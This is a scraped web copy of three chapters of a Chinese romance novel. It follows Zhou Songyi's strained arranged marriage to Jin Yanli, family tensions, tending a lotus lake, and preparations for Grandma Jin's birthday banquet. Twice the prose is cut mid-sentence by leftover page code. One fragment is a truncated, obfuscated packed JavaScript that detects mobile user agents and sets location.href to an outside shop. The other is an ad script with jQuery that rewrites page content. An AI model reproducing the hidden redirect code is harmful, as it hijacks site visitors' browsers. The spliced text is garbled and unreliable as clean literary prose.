《下雨天》 7. 玉兰 周颂宜说完这句话,自己都感觉没什么力度,听起来假假的。 她沉了沉肩膀,忽而感觉身心有点疲惫。原本一直不被人提及的话题,还是第一次被人摆到明面上谈及。 周舒樾到底还是年轻,对于情绪比较敏感,能够明显感觉到周颂宜的情绪不对,却也只是低着头,一声不吭。 话说得越多,错误也就越多。 索性闭嘴了。 周颂宜拍了拍周舒樾的肩膀,又草草地安慰了几句。 放下手,她说,“要是没有其他的事情,赶紧回去学习。记住,你今天在我面前提及的这些,在靳晏礼面前,一丁点都不要提起。” “我知道了。” 周舒樾语气丧丧的。 这刻,他感觉自己就不该出现在这里。 明明是他该去安慰周颂宜的,却在他话出口的那刻,身份颠倒,这不是他的本意。 一时无言,知道她此刻应该也不太想见自己,主动提了告别的话。 月形洞门,迎春花枝条越过白墙,一簇簇的金黄色的小花开得正灿。 清晨的阳光照耀下,边缘透出淡淡的红色,花蕊中还沾着尚未蒸发的露珠。 风里涌动着清新的花香。 周舒樾伸手,随意揪了一朵。 指腹转着花柄,花瓣破碎,汁液黏着在指腹中,他胡乱地擦了下。 懊恼极了,“周舒樾,你这张破嘴。下次不会说话前,可以先闭嘴,没人把你当哑巴。” 反观靳晏礼,虽是老太太出言将他留了下来,可房间里,并不只有他们两人。 周自珩眼观鼻鼻观心,见周平津和岑佩茹都留了下来,估计是有话要和靳晏礼单独聊聊。 至于聊什么,从没将周颂宜一并留下来的那刻,他差不多都能猜到七七八八。 他识趣地开口,“我还有个跨国视频会议要参与,要是没有其他事,我就先过去了。” 老太太问他,“昨晚没处理完?” “临时的。” 周平津手一挥,“去吧。” * 周颂宜在园子里四处晃荡,一会嗅嗅春花,一会坐在秋千架上荡悠几下。 春天的风很舒适,周遭僻静,可她心里情绪郁结。 春园里的花最多,开得最是好。 她过去的时候,恰好碰见梅生正在给草坪才冒出一茬的草籽浇水。 冬天过后,不少草没能挺过。 春天复苏的时节,稀稀拉拉地泛绿,又一片半死不活的还是秋黄。 梅生索性将地皮翻新了一遍,重新种下草籽。 淋过春雨,草长得格外快。 草坪周围,种了不少花朵,周颂宜走过去,主动揽过活:“梅叔,今天就让我来给它们浇水吧。” 闻言。 梅生停下手中的动作,没问她为什么会突然想要浇水。 将喷壶递给她,叮嘱她,“这一片都已经润过水了,还剩下西南角那块。不用浇太多水,只需要润润叶片就行,根系里面的土壤还是湿润的。” 周颂宜敬佩地望向他,由衷道:“梅叔,您懂得真多。” “涉及专业领域,这要是不懂反倒是说不过去了。”梅生从搁在石桌上的竹篮里取出一把修枝剪,对灌木丛中突出的枝叶进行修剪。 知道她心情似乎不大好,“不过依我看,今天你上手试了。改明儿,就熟能生巧了,对于枝叶与露水,相信你仅凭观感,心中就有了把握。” “真的吗?”亲近自然的时候,有些不愉自动抛到脑后去了,她笑出声,“梅叔,您就别逗我了。” “今天时间上有空闲吗?”梅生突然问。 “嗯?我下午很空闲,”周颂宜诧异,“怎么了?” 他说:“春风吹又生,万物复苏的时节。大雁湖荷区里的荷花要进行养护。去年枯萎的荷枝,今日我和你梅姨打算将底下的枯茎清理一番。” “你要是得空,愿不愿意跟我们一起?” 周颂宜知道他说的是位于狮山楼台附近的那片湖区,每年到了夏季,荷叶田田,一望无际。 熏风阵阵,荷花翻涌。 蜻蜓栖在淡粉的花心,淡粉淡白的花瓣在枝头随风摇晃,满湖花香宜人。 落过一阵雨后,颇有周邦彦笔下“叶上初阳干宿雨,水面清圆,一一风荷举。”的姿态。 每年夏天,只要工作不忙碌,天气不是太热,她就爱待在湖央的亭子里。 即便什么都不做,只是静静看着,便能让心宁静。 想到这,她应了下来,“我当然是愿意的,就怕到时候给您和梅姨添麻烦。” “怎么会呢。”梅生看她一眼,笑说,“要对自己有点信心。” 等到梅生将洞门拐角的灌木丛修剪完成,周颂宜花壶里的水也即将倾洒完。 嫩绿的叶片上挂着圆润的水珠,在日光的照耀下,水珠悬挂在叶片间。 稍微打眼的功夫,便落入花丛中匿去了身影。 * 周老太太将靳晏礼特地留下来,只是聊了点生活上的事情。 关于和周颂宜的感情,其实很少提及,偶尔聊起,也是一笔带过。 周平津和岑佩茹坐在一旁静静听着。 初雨沏了一盏热茶,太湖西山特产的“雨前龙井”。茶水滗出,淡淡的茶水清香。 靳晏礼伸手接过,礼貌点头,而后伸手搁置在一旁。 “颂宜这孩子,平日里看着好像柔柔弱弱,好脾气的模样。但性格倔,认定的事情不一头撞到南墙,都不会回头看的。” 老太太品了口瓷盏里的茶水,“有很多事情,你不能去逼她,得让她自己想明白。” “祖母。”靳晏礼知道老太太这是在敲打自己,“您说的这些,我都明白。我和颂宜之间的感情尚在磨合期,我会慢慢找到感情的相处方法,将我们之间的感情维持好平衡。” “致柯那孩子,和颂宜终究是有缘无份。”老太太长舒了口气,试探地开口,“工作上的事,你别去为难那孩子。” 靳晏礼沉默片刻。 应声:“自然不会。” 周平津虽然没有出声,可两人的对话都是听在心里的。 尽管感情的事情对不起颂宜,可靳晏礼的话,多少让他这个做父亲的放宽了几分心。 * 谈完话,日光已经探入深浅绿色不一的树林。 后山里来往参观玉兰花开的游客越来越多,影响了宅院的日常生活,周平津不得不请安保人员维持现场的纪律,限制人数。 靳晏礼昨晚回来,算是临时起意。今早,和老太太谈完话,提出了告别。 “祖母,那我今日就先走了。”他站在悬梁下,“改日再和颂宜一道回来看您。” “好。” “我现在让人去找颂宜。” 靳晏礼阻止道:“不用了。我给她发消息,自己和她说。” 靳晏礼从正屋出来,沿着长廊走着。 前几日,老太太请了专门的古建筑修缮队伍过来维修与更换被雨水侵蚀的瓦片。 他经过这段建筑的时候,正好撞见周颂宜和梅生两人正拉着修缮人员说一些什么话。 她站在背阴处,原本的白色长外套换成深绿色的雨衣雨裤,手上拿着一个比她人还要略高的打捞网。 她身旁的梅生喊道:“小婷,颂宜要和我们一块去养护荷花池。” 梅婷正弯腰捡水,递给正在给墙瓦护理工作人员。 听见有人叫自己,原本撑在膝窝的手掌松开,弓着的脊背慢慢挺直,抬起头往前看了眼。 见到花架下的两人,“小船我已经让人拖到岸边了。船上面已经放好工具了,那只船大概是用粗麻绳围着树桩打了个结,你们过去的时候,注意看了一下。” “行。” 梅生对身侧的颂宜道:“那我们就先过去,不等你梅姨了。” “好。”周颂宜点点头。 现在虽然是春天了,只是湖岸边的柳枝条抽了绿,但远远达不到“碧玉妆成一树高,万条垂下绿丝绦。”的地步。 也许再过半月,这绿色或许会更盛。 船头安装了半自动的机械装备,比纯粹的人工切割效率提高了三分之一,算是节省了一部分力气。 周颂宜解开系着的绳索,梅生拿起搁在船心的桨。 站在小舟上,划着桨往湖心去。 靳晏礼没有前去打扰,而是选在建址在湖上的回春亭。 这边离荷花区近,站在亭檐下,可以观看到一浪又一浪、风中不停翻涌的荷花。 现期还未到荷花期,湖中只有吴冠中老师笔下的残荷。枯萎的、倒塌的、折断的、笔挺的花茎。 视野开阔,周颂宜的身影很快就被捕捉。 梅生正在收割那些枯荷,对另一条船的周颂宜道:“荷花枯萎之后,里面的营养会重新落到藕茎。春风吹又生,到了春天,它还会重新发芽。” 周颂宜:“生命是充满奇迹的。” 她收起网,将打捞起来的枯荷用力拉起,随后扔在船头。 身体的劳动,让她短暂忘却了先前的不愉。 她站在船头,擦了擦额头的虚汗,“感觉体验起来,也是很奇妙。” * 周平津和岑佩茹在靳晏礼离开后也跟着出来了,今晨无事,两人漫步在小道。 就着儿女之间的感情事,说了些自己的见解。 岑佩茹同他说了自己心中的想法,“颂宜和晏礼这两孩子,是不是又闹别扭了?方才吃饭的时候,虽然看起来气氛挺不错的,但就是别扭得很。” “晏礼那孩子提离开的时候,颂宜似乎也没多大的情绪。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460817|141718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “多大的人了,回家还需要人特地去送吗?颂宜不想就不想,也不是什么重要的事情。”周平津目光平视着前方,视野里山茶开得正荼蘼,“孩子们的事,就让他们自己处理吧。” “今早在主屋,晏礼那孩子说的话,你也是听见了。”话虽这样说,可他皱着的眉头并未因着自己说的话而有所松懈,“既然做了保证,那我们这些外人,也不适宜再插手进来了。” 岑佩茹静静地听着,明白他话里的意思,不再继续这个话题。 她问:“方才在饭桌上,晏礼那孩子提起,下个周便是靳老太太的八十大寿。只是商议寿宴细节上面的事情,颂宜不跟着一起回去,真的好吗?” 忧心道,“靳家人,又会如何看待颂宜?” 这门婚事,要不是靳晏礼一意孤行,靳家上下,无不是抵触的。 商业上,两家人或许还能维持着表面上的友好关系。 可私底下,谁不知道两家竞争激烈。 就算是豪门之间联姻,也断是顾不上彼此的。靳晏礼,从来都不是他们周家为颂宜选定的配偶。 更何况,在事情的最初,她已经有了自己的选择。 “我们周家的孩子,做什么都是自由随性的。颂宜从小,都是我和她妈看在掌心里的明珠,什么时候还能轮得到他们靳家议论。” “你也说了,两孩子闹别扭了。”周平津侧身看岑佩茹一眼,宽慰着,“那就给彼此一点空间。” “我答应过她,以后不会再插手她感情上的事情了。” 听他这样说,岑佩茹没再说什么。 看着山茶花整朵掉落,火红的花瓣砸落在地。 良久,也只是长长叹了口气,“造孽啊。” 岑佩茹想起当初周颂宜哭着过来求自己劝周平津时的模样,那时小姑娘虽然对自己和周平津始终心有芥蒂,可到底还是当作一家人的。 因为当作是亲人,所以有依赖。 周平津当初硬生生拆散两孩子的感情后,颂宜这孩子对他们两个逐渐开始疏远。 或者可以说,因为心里的疙瘩无法开解,心底头还是有恨。 借着这个机会,她还是将心头话说了出来,“你说你当初要是不插手这件事情,孩子也不会对你心有怨恨。颂宜看着气性温顺,可心里头的韧劲,谁也比不了。” “你这个当爸的,应该比我更为清楚。当初你啊,就该和孩子好好沟通,你这样什么由头都没有,就这样将两孩子拆散,你说她心里头不怨你,怨谁呢?” 头顶上空一排鸟雀盘旋,煽动着乌黑的翅膀。 寂静里,只有鸟雀的鸣唤,还有那深浅不一的呼吸声。 斜靠在洞门边的玉兰,不似后山的满树绽放,还有含着苞的。 鸟雀低徊,栖息在幼小的骨朵上。 周平津捋了捋心口,放慢了脚下的步子。 周颂宜刻意的疏离,他不是没有看出来。这件事后,父女的关系几乎降至冰点。 可覆水难收。 “现在说这些还有什么意义呢。”他开口。 人声惊动枝头的灰喜鹊,很快扑棱翅膀飞远,在蔚蓝的天空中展翅高飞。 玉兰树上那丛被压弯的花重新挺起支杆。 周平津眼看着蔚蓝的天空中那抹越飞越远的小黑点,记忆开始倒退,想起周颂宜那双带着愤意的眼睛,也有一瞬的恍惚,“或许吧。” 他伸手轻轻拍了拍岑佩茹的手背,眼神里也有点疲惫,“妈最近身体不好,煎药的事情还需你多费点心了。至于靳老太太的八十大寿,就得劳烦你和我一同过去了。” “都老夫老妻了,还说这些做什么。”岑佩茹眼神温和地看向他,“你的事,就是我的事。” 周平津目光温和地看向身侧人,“颂宜那孩子心中对我还有气,有些事情我也不方便出面,还得你多费点心思了。” “这有什么的。”岑佩茹笑容温婉,“等老太太午后睡下,我再去看看颂宜那孩子,你们父女两人有些话还是要说开了才好。” “你的为她好,在孩子看来也未必是为她好。” 两人相携着往前走着,周平津目光放远,“还是不了,希望永远没有这一天。不然我当初预想的事,若是真的发生,她恐怕会比现在还难受。” “我倒情愿她这样恨着我。”他笑,“就像你说的,也许我的好,站在她的角度来看,未必是好。” 岑佩茹也有点怅然,顿住脚步。 再瞥向周平津的目光带了点安抚的意味,语气也有点欣慰,“不过现在好在这两孩子的感情,看起来也没有想象中的那么糟糕。” 周平津不明白她这话是何意,视线顺着她的视线一道探去的时候,一直愁眉不展的眉眼终于有了舒缓。 他语气难得带了点笑,“但愿吧,但愿我当初做的决定是正确的。” 8. 玉兰 周颂宜终归不是专门的养荷人员,手法和梅生相比,终究还是有些生疏。 处理打捞网,也没有梅生那般熟稔轻松。不多时,便感觉到手臂有点酸痛。 她捶了捶肩脊,有点儿不好意思地看向梅生,随后又望向这片荷区,“梅叔,我感觉我在这有点儿拖您后腿了。” “你这说的什么话。”梅生笑呵呵的,“我和你梅姨不说做了几十年,但十年总归是有的。要是你今天能赶超我和你梅姨,那我们或许还得反思一下自己了。看看是不是我们的方法有问题,还是老了,身体机能下滑,比不得你这个小年轻了。” 周颂宜被这番风趣的语气逗笑,“以后要是空闲,我没事就回来和你们取取经。” 她费劲将网拉上船,蹲下身体,甩了甩稍微酸痛的胳膊肘,坐在船心休息。 回身看了下还在处理这处枯荷的梅生,“到时候你们别嫌我烦、帮倒忙就好。” “怎会。”梅生摆了摆手,将这网荷茎拉上船尾。 脱下手中的一只深绿色的橡胶手套,从船心走去船尾。 从船尾平放着的竹篓里捞过一瓶矿泉水,递给一旁趴在船沿、欣赏湖面粼粼波光的周颂宜,“太阳出来了,补充点水分。” “谢谢梅叔。” 周颂宜伸手接过。 日头出了山顶,晴阳晒得人睁不开眼,鬓角的发丝被细汗打湿,粘在侧颌。 她胡乱擦了擦,拧开瓶盖喝了一口水。 余光瞥见湖岸上那抹熟悉的身形,转头对梅生说:“湖岸边的那个人,好像是梅姨。” “嗯。” 梅生瞧着不远处的身影,后知后觉地想起一些事,“方才我们出来得急,不然也该和你梅姨一样,带上一顶草帽。” “这太阳出来了,确实会有点儿晒。” 闻言,周颂宜才有点后知后觉。 起初只是觉得热,但忘记了晒这一茬事,过来的时候也没有做好防晒准备。 船已行至湖中央。 天光明晃,湖面空旷,视野一览无遗,的确没什么遮荫纳凉的好去处。 要想进行物理防晒,最好的方式就是赶紧离开。 不过虽然日头有点晒,湖风却是舒适。周颂宜抬起自己的手臂,用手臂遮在自己的眼前,避免阳光直射入眼睛。 船身轻微颠簸,她坐在船心,有点儿犯困了。 昨天靳晏礼发神经,拉着自己搞到下半夜,今天早上又起了一个大早,精神告罄。 彼时,梅婷划着桨,原本停在湖岸边的船只,此刻渐渐向他们的船只靠拢。 她的头上戴着一顶草帽。 日光下,她的皮肤呈现健康的小麦色。刚一过来,就开始数落梅生,“你说说你,来得这样急,连帽子都不记得拿。” “我这不是一时忘记了,”梅生挠了挠后脑勺,注意到她放在船尾的草帽,“你拿过来了?” “嗯。” 梅婷弯身,将自己特地取过来的帽子递了过来。 递给周颂宜时是和气的,给梅生的几乎是随手扔到船中的。 两人是亲兄妹,周颂宜自打出生时,他们便在周家了。 这二十年间,还是第一次见梅姨毫不遮掩对梅叔的嫌弃,有点忍俊不禁。 她使劲抿了抿嘴角,才将险些溢出的笑憋了回去。 接过梅婷递过来的草帽,眼尾微微上扬,道了一声谢。 她一手捏着帽檐,准备扣在自己的脑袋上,一手又摸了摸发顶,才发现这一会的功夫,头发都沾上阳光的温度了。 梅婷瞥见她的动作,不赞同的语气对梅生道:“现在太阳出来了,待会光线只会更强烈。你说说你,自己晒惯了也就罢了,颂宜能和你个糙老爷子一样?” “人老了,这记性也就不好了。” 梅生等她絮叨完,朝颂宜瞥去无奈的一眼,两人不约而同地笑出声。 梅婷也笑了声。 说够之后,她突然叫了声周颂宜,“颂宜啊。” 周颂宜:“?” “方才我在荷区附近瞧见晏礼那孩子了,他问我知不知道你去了哪里。看样子是找你有事情。” 周颂宜脸上的笑容敛了下去,“您怎么说?” 梅婷没注意,顾自继续道:“我那时也不知道你和你梅叔两人到这儿来了,说让他自己联系你问问看。他没和你说吗?” “也许是临时有其他的事情去了吧。”周颂宜不想继续关于他的话题,“我们还是别管他了。方才还在这和梅叔说,我该向您们取点养护荷花的经。” “现在正好您过来了,我就在一旁好好观摩学习,还希望您别要觉得我在这儿是拖后腿呢。” “哪会呢。”梅婷眼尾绽开褶皱,眼睛虽然有岁月的砺痕,但却有神,“只要你有兴趣,那我肯定知无不言言无不尽,就怕你最后觉得我话太多了。” “您多想了。” 周颂宜和梅婷说说笑笑。 有了帽檐的遮挡,太阳虽晒不进眼睛,但多少还是有点儿刺眼。困意在梅婷的这连串的对话中渐渐消失。 她低着眉,半边手肘撑在船沿,另一侧的手掌探进波光粼粼的湖面,抬手拨了拨清澈的湖水。 凉凉的。 如果是在日头将要落山的午后,应该是温凉的。 周颂宜朝湖中掬了几捧水,准备收手端正自己的姿态的。 没成想抬眉的刹那,不远处原本空旷的亭子,多了一抹熟悉的身形。 她一开始还没回过神。 毕竟靳晏礼被祖母他们留下了,而他本来打算吃完饭就离开的,怎么可能跑到这儿来了。 只是定睛一看,那人除了他还能是谁。 莫名吓一跳,手掌收回的时候,一半砸进湖面。水珠飞溅,不小心溅进眼睛。 略微有点儿狼狈。 她的视力可以,按照靳晏礼现在所处的这个角度,加上手上明显举起的手机。 这个狗东西,十有八九在偷拍。 想到这,周颂宜取下了自己头顶的草帽,想也没想、几乎是本能地扣在自己的脸上,将自己的脸蛋挡了个严严实实。 想到什么,她转回身体。 她做不到靳晏礼那么坦荡,索性选择视而不见。毕竟,眼不见心不烦。 梅婷注意到她这一奇怪行为,笑问:“颂宜,你这是做什么呢?” “光线刺眼,”周颂宜声音闷闷的,“我遮太阳。” 梅婷:“嗯?” “那不是晏礼那孩子吗?” 梅生顺着梅婷的话看向颂宜,视线远移的时候,正好注意到亭子里的靳晏礼。 他已经收起了手机。所以没人知道颂宜方才那番奇怪行为的来源。 “看样子似乎是在等你,”他将网从湖里拉起,看向身旁的颂宜,询问道,“你呢?” 周颂宜不明白:“什么?” 梅生常在后院做事,很少见靳晏礼,也不清楚孩子们之间的恩怨纠葛以及那隐藏其中的弯弯绕绕。 心里想的也就说了出来,“湖里的这些荷杆我和你梅姨应该可以处理完。正好现在太阳也起来了,要不要去休息休息?” “把晏礼那孩子一个人撂在那里,似乎也不大好。他不是有事找你吗?” “没关系的。”周颂宜替他拒绝,“他愿意等,就让他等着,反正也不急于一时。况且我要是回岸边的话,那不得耽误进程了。” * 周四一打眼就到了。 周颂宜这两日有访谈工作,采访地点离周家老宅较近,因此这几日都是在周家老宅休息的。 工作在周四前都处理完了,周三前天就和单位请了事假。 靳、周两家现在是姻亲关系。 靳老太的寿宴,周家老太太虽然不能出席,但家里的小辈还是要到场的,以示尊重。 司机给岑佩茹拉开车门,周颂宜看着几人,准备离开的,却被她给叫住了。 “颂宜,”岑佩茹隔着降下的车窗,望向站在门檐下的周颂宜,“你是和我们一起过去,还是和晏礼他们?” 周平津坐在岑佩茹的身侧,原本阖着的双眼,这会子慢慢睁开。 没有开口,但她说的话,也基本是他的意思。 “不了。” 周颂宜回望过去,“我等靳晏礼过来,和他一同过去,你们先过去吧。” “他给我发消息了的,让我等一下他。”说完,又补充了这么一句。 “那行。”岑佩茹对负责开车的周耀道,“小周,那我们先过去。” 等车开远,周自珩将宾利开过来,停在周颂宜的面前。 半降下车窗,探头对她说,“上车。” “算了。”周颂宜脑袋靠在墙壁,侧身看他,“刚才我说的话都是真的。” “虽然我也不是很想和他一起。但什么场合该干什么事,这点我心里还是有数的。” “今天晚上,靳家肯定有很多圈子内的朋友到场。咱们周家,虽然是这几年才开始进军商界,但里面多少有些是以前的合作伙伴,或者目光放长远来看,或许那些人也是我们周家未来的合作伙伴。” “我要是今天不和他一起出现,谁知道背后会怎么编排我们周家呢。我周颂宜并非软柿子,也不想让祖母为难,所以那就只能暂且忍耐一下了。” 周自珩听她说完,眼前这个鲜活模样的她,和从前的模样倒是有几分相像,而那已经不知是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 多久以前的记忆了。 久远到,让人觉得恍惚。 他不禁莞尔,“我倒是不知道你这脑袋瓜子想得这么透彻。” “也行,我先过去。等你到了靳家那边,记得给我发条消息。” “知道了。”周颂宜朝他挥了挥手,“快走吧。” * 周颂宜坐在院内的树阴下,这几日后山的玉兰依次绽放,淡淡宜人的花香浮游在空气中,山头一日比一日热闹。 她不大爱去凑这个热闹,坐在石墩上浏览手机,和靳晏礼发消息,【你大概什么时候过来?】 那边消息回得很快,【三分钟左右。】 看着这条消息,周颂宜没再敲字回应,而是起身往回走。 行至穿山游廊,后山的人声越来越大,今年的玉兰开得格外好,花瓣越过瓦片簌簌地落了下来。 周颂宜特地绕了一条路,准备瞧上几眼的。 也不知道是谁在叫自己,等她扭头回身望的时候,才发现原来是山头后有人的遮阳帽掉了进来。 虽然后山对外开放,但是内宅和后山并不是互通的。 周围由高达两米的白墙为主,墙与后山之间由一座雕花镂空铁门阻隔。 这座铁门的钥匙,由专门管理后山花草的陈叔保管。 平素里,鲜有人过去的。 帽子的主人原本正沮丧,捡了只木棍够了半天,还是没有够回来。 心灰意冷间,正好看见周颂宜,“能麻烦你帮我把帽子扔回来吗?” 这帽子还是明星同款,前两日才到货。 好不容易咬牙买了准备出门游玩戴,结果一个不小心就给掉到内院去了。 本来都打算打水漂的,结果好不容易看见来人,原本熄灭的火焰又重新生起希望,连忙对周颂宜呼喊道。 周颂宜听见声,停下脚步,走过去将掉在迎春花丛的帽子捡起,隔着铁栏给对方递了过去。 “下次注意一点,这边枝桠比较茂密。”她指了指对方的帽子,好心提醒,“稍微不注意,你的帽子很容易被枝桠挑起。” “谢谢。”对面还沉浸在帽子捡回来的喜悦中,连连对周颂宜道谢,压根没注意到她说了些什么。 等再回神时,她已经转身离开了。 周颂宜回到自己的屋子,将拍卖行昨日才送到的那副《张大千荷花图》从梨花木制成的收藏柜里取了出来。 刚出房间,口袋里的手机再次响了起来。 她将手机取出,屏幕上显示“靳晏礼”三个字。 几乎是下意识地皱了下眉心,而后又觉得自己的行为略有些怪异。 电话接通,对面清冷的嗓音透过听筒传到耳边。 靳晏礼:“我到周家宅子了,你现在人在哪里?我过去接你。” “不用了,我马上出来。” 简短地传递信息后,周颂宜没再听他说话,以至于他刚开口的话语还没清晰地传过来,通话因着她的挂断而宣告结束。 靳晏礼的车就停在宅院的大门口,他坐在车上并未下来,手里把玩着一个丝绒方盒。 看着有些漫不经心,可眼睛却一直紧盯着大门的入口处,等见着周颂宜出来的身影,倾身替她推开副驾驶的车门。 周颂宜弯身坐了进来。 他没急着启动车子,将手中的盒子递到她的眼前,“奶奶的寿礼,我已经替你挑好了,到时候你只用把这个给她就行了。” 周颂宜低眉,顺着他的话看向他手心的那只匣子。 她接过,打开看了一眼,里面装着一只质地温润细腻的翡翠镯子。 她想了下老太太戴上它的模样,的确很合适。 “不用了。”她阖上盒子,拒绝了,“我自己给奶奶准备了礼物。这只镯子,你要是觉得合适,就自己送给奶奶。没必要以我的名义给,我不需要。” 靳晏礼注意到她放在脚边的存画桶,心口起了阵涟漪,但他什么话也没说。 周颂宜将盒子塞回他的掌心。“也行。”他突然启唇。 搭在方盒上的手指摩挲着丝绒质地的绸缎,意味不明地笑了声。 将盒子随手放在储物盒。 虽然没说话,周颂宜却能明显感受到他的心情比起自己拒绝时,要好了许多。 “你在高兴什么?” “没什么。”靳晏礼看她一眼,倾身过去的时候,她身体明显往后缩了一下。 他没在意,替她将安全带扯了下来,“安全带系上。” “哦。”周颂宜低低应了声。 他的心情很好。 总归她心底是在意的,因着那点在意,他可不可以理解为,自己在她心中终究是有分量的,并非是一干二净。 9. 玉兰 车从周宅开往靳家的西山庄园,车行将近一小时,便抵达靳家的庄园入口。 铁艺大门两侧候着的侍从推开,车沿着林荫道继续向内行进百米,抵达靳家的别墅区。 整体建筑风格有别于周家的园林古典雅韵,更具欧式的后现代风。 别墅的右前方,是一座喷泉,喷泉正中央是一个由青铜浇筑而成的小孩雕塑。 模仿比利时著名景点撒尿小童。 迈巴赫又往里开了几米,恰好停在别墅正对门。 靳晏礼推开车门,泊车童立时走了过来,恭敬地等候在一旁。 一旁候着的门童也赶忙小跑着走下台阶,朝靳晏礼递过手中的遮阳伞。 遮阳伞是全自动的长柄伞,他接过、撑开,开合中在阳光下发出“砰”的声响。 原本耀眼的阳光被黑色的伞面遮去。他将车钥匙扔给泊车童,“车里的存画筒待会替我取出来,让人送到我的房间。” 说完,和周颂宜相携离开。 - 靳家庄园占地百余亩。 内置高尔夫球场、跑马场、台球场等,应有尽有。晚宴尚未开始,提前达到的宾客被妥置在此处。 周颂宜走在长廊,隐约能听见马蹄踏在跑道发出的“哒哒”声。谁压的马中了彩,一众欢呼声有喜有叹。 别墅大厅,古典的装饰元素。 随处可见的罗马柱、拱券,复杂雕花、石膏线条、浮雕、欧式壁画。 “晏礼和颂宜还没到吗?”靳老太太坐在客厅正中央的沙发上,头发花白,干瘦的脖颈戴着一串珍珠项链,正在和靳晏礼的母亲黎青交流着,问身侧的佣人,“两个孩子说没说什么时候?” “奶奶。” 周颂宜站在沙发前,出了声。 “刚刚还和你母亲说呢。这话刚落,你们就过来了,真是说曹操曹操就到。” 黎青唇角挂着得体的笑容,但没出声。 老太太看她一眼,对周颂宜道,“别站着,到奶奶身边来坐。” “去吧。”靳晏礼对她道。 两人往前走了几步,沙发围成一个半矩形,中央是半悬浮式的大理石茶几,茶几底下铺着一张萨瓦纳瑞地毯。 走路发出的声音,被地毯吸收。 靳老太太在新中国成立后,曾去欧洲留过学。 求学几载,受西方文化影响,家里收集了不少西洋古董物件。 整栋建筑一打眼看去,随处可见的西洋货。 壁炉上古老的钟表,摆轮左右晃荡。 十点整。 打锤敲打音簧,发出沉闷的声响。 周颂宜和靳老太感情不错,坐在她的身侧,同她絮叨着说了许多话。 不过大多数时候,都是老太太问,她回答。 答不上的,适时回头看身侧的靳晏礼,寻求他的帮助。 老太太看着眼前一对壁人,岁月遗留痕迹的脸庞漾着慈和的笑容,不禁叹一声,“有时候总在想,人活一世是为了什么。现下瞧着你和晏礼站在一起,般配极了。你和晏礼好好的,做什么我们都是高兴的。” 周颂宜笑了笑,难得没接话。 黎青坐在单人沙发,不动神色地打量着她脸上的神情。这份感情,家里除了老太太,其余人都知道是怎么得来的。 她没说话。 既没开口去给周颂宜递台阶,也没有随老太太的话附和。 眼神转去靳晏礼的身上,到底还是他先开了口,“奶奶您这是说的什么话,我和颂宜肯定会好好的。” “我都还没说你,”老太太训他,眼神心疼地看向周颂宜,“最近没怎么好好休息吧?” “还好。” “眼睑下都有乌青了。我让你靳姨带你回房间先休息一下,现在时间还早,养养精气神。” “不用了。”周颂宜抬手碰了碰眼睑,弯着眼睛笑着撒了个谎,“我这就是天生的。” 老太太一眼看穿,却没点破。 只是道:“宾客们现在都没到齐。那些过来的人中,现在也都到后边去娱乐了,你们到底年轻,就自个儿去寻个乐趣。等到需要你们了,自然会让人叫你们过来帮忙。” “雨娇那孩子,现在还在外边看世界呢。白天她不会回来了,晚宴开始前才露面,你多和她学学。” 靳雨娇是靳晏礼的亲妹妹。 周颂宜和靳晏礼结婚将近一年的时间,这一年里,和这个小姑子见面的次数寥寥无几,对她了解得并不深。 大多数时候,是从他人口中了解的。 对于靳雨娇如何,这大概和她没什么关系。 不过不想扫老太太的兴致,她在说这些话的时候,周颂宜脸上的笑容几乎没有下来过。 低眉顺眼,一副耐心倾听的模样。 靳晏礼最早的心情早就被冲淡,他对靳老太太道,“奶奶,我带颂宜先回卧室休息。前两天她为了能准时参加您的寿礼,特地将工作压缩提前完成了。” “她脸皮薄,有些话没好意思说。”他的语气轻佻,“但我和她不同。” “我没。”周颂宜轻声反驳他的话,为难的目光看向老太太,“奶奶。” 老太太只觉两孩子感情不错,乐见其成,摆了摆手,“去吧去吧。” * 周颂宜被靳晏礼领到了他的卧房。 房间内的陈列简约,灰白的风格,一如他给人的第一感觉。 周颂宜被她摁坐在床沿,她挣了挣,奈何肩膀被他扣住,动弹不得。 她只得仰着头看他,“你刚才不应该这样的。况且,我并没有觉得自己有所困意。” “宴会在晚上六点正式开始,接到邀请函的宾客们大抵会在六点前陆续到场,在此之前,我不觉得我应该缺席。” “所以,”她皱着眉拍了拍他的手,“松手。” 靳晏礼依言松开手,顺势坐在了她的身侧,他问她:“这是你权衡利弊后的想法吗?” “什么意思?”她问。 他却沉默了。 两人静静无言,又各怀心事。 周颂宜的视线落在他的脸庞。 虽然对他没什么好脸色,但今天有别于从前的许多时间,老太太的寿宴,重视程度可见一斑。 她和靳晏礼结婚的事情,圈内很多人知情。但也仅限于知情,毕竟他们两人从来没有一同出现在大众的面前。 即使有不睦,却也不能搬到台面上。 行差踏错,折损的不仅是靳家的颜面,还有他们周家的教养。 沉默许久,周颂宜开口打破沉默,“待会我先让翡秋给我上个妆,然后再和你一道去奶奶那边。贸然缺席,总归是失礼行为。” 她盯着眼前的那盏未开的落地灯,并未再去看靳晏礼的眼睛,“或者,你自己先过去。等我处理完这边的事情,再过去找你。” 说完,作势起身。 “不用。”靳晏礼圈住她的肩膀,“我这边事都不急,你先忙你的。家中长辈都在,再怎么需要操心,都轮不到我们头上。” “你懂吗?” 周颂宜点点头,“那好。”示意自己明白了。 靳晏礼握住她的手,将她的手圈在自己的手心,“不管他们到时候说什么,你听过就好,不必放在心上。有什么事,我都在你身边的。” 不知道他为什么突然这样说,尽量忽视掌心下的热意,敷衍地应了声“嗯。”显然没在意。 靳晏礼不满,手指捏着她的脸颊,“说话。” “你很烦。” 他简直拿她没办法。 靳晏礼圈着她掌心的那只手捏了捏她的手心,随后起身去帮她将翡秋喊了过来。 只是化妆前,要先把礼服换上。 他拨了一通电话,很快就有专人推着几架子的衣服和鞋子过来,上面全是各品牌的早春高定。 早前特地定制的,就等着这一天。 不过,他并没有事先告知周颂宜。 * 靳晏礼的眼光很好,这些礼服都是她喜欢的风格。 